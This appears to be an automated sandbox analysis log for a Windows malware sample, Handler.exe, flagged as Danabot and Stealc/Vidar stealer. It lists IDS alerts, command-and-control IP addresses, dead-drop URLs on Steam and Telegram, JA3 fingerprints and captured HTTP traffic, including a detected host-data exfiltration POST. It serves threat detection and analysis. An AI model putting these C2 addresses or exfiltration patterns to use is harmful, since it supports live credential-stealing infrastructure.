Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50402 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50376 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50410 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50393 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50411 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50401 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50419 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50359 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50403 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50394 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50409 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50416 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50425 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50418 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50417 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50432 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50386 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50400 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50434 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50443 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50442 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50441 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50448 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50450 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50427 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50459 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50426 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50440 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50424 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50449 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50457 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50456 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50464 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50472 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50458 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50488 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50474 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50433 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50333 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50465 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50489 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50491 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50505 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50475 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50490 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50435 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50481 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50514 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50504 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50482 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50483 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50377 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50507 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50473 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50513 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50451 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50538 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50497 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50544 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50496 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50520 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50537 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50531 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50523 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50561 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50506 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50562 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50553 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50536 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50466 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50568 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50515 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50578 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50467 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50571 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50570 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50528 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50576 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50498 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50554 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50499 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50529 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50547 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50546 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50592 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50522 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50601 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50594 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50480 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50577 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50555 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50584 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50552 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50593 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50608 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50579 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50611 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50610 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50618 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50617 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50408 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50635 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50545 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50616 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50603 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50563 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50530 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50586 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50632 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50609 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50585 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50627 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50619 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50641 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50600 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50521 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50642 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50569 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50633 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50587 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50624 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50602 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50560 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50539 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50626 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50640 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50512 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50595 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50634 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.5:50625 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.5:49712 -> 116.203.164.230:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.164.230:443 -> 192.168.2.5:49715
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.5:49707 -> 116.203.164.230:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.164.230:443 -> 192.168.2.5:49714

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199817305251

Source: global traffic

HTTP traffic detected: GET /w0ctzn HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox View	IP Address: 18.244.18.38 18.244.18.38
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50137 -> 162.0.209.157:443

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49769 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 194.32.76.77
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.251.57

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0040A09E recv,

1_2_0040A09E

Source: global traffic	HTTP traffic detected: GET /w0ctzn HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0Host: legalize.liveConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AcmIXbpGoRruM6Rg2pdHIUfNGnvAwJcqpFoWJV4Xd6PeYFnv5YpJ0-GVzjWL6XpCDzrg9cVo2bTwfPVau85UdyeFfZQe-rOdS7oyguq-391NmfeQd9WZZkjpgIbL1I5KKEcAxlKa5Z8JDrufy52udyO9TokqhOw4Sbnj/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1736968595850&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=370FFD26CB8D69B80FE6E853CA946810&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
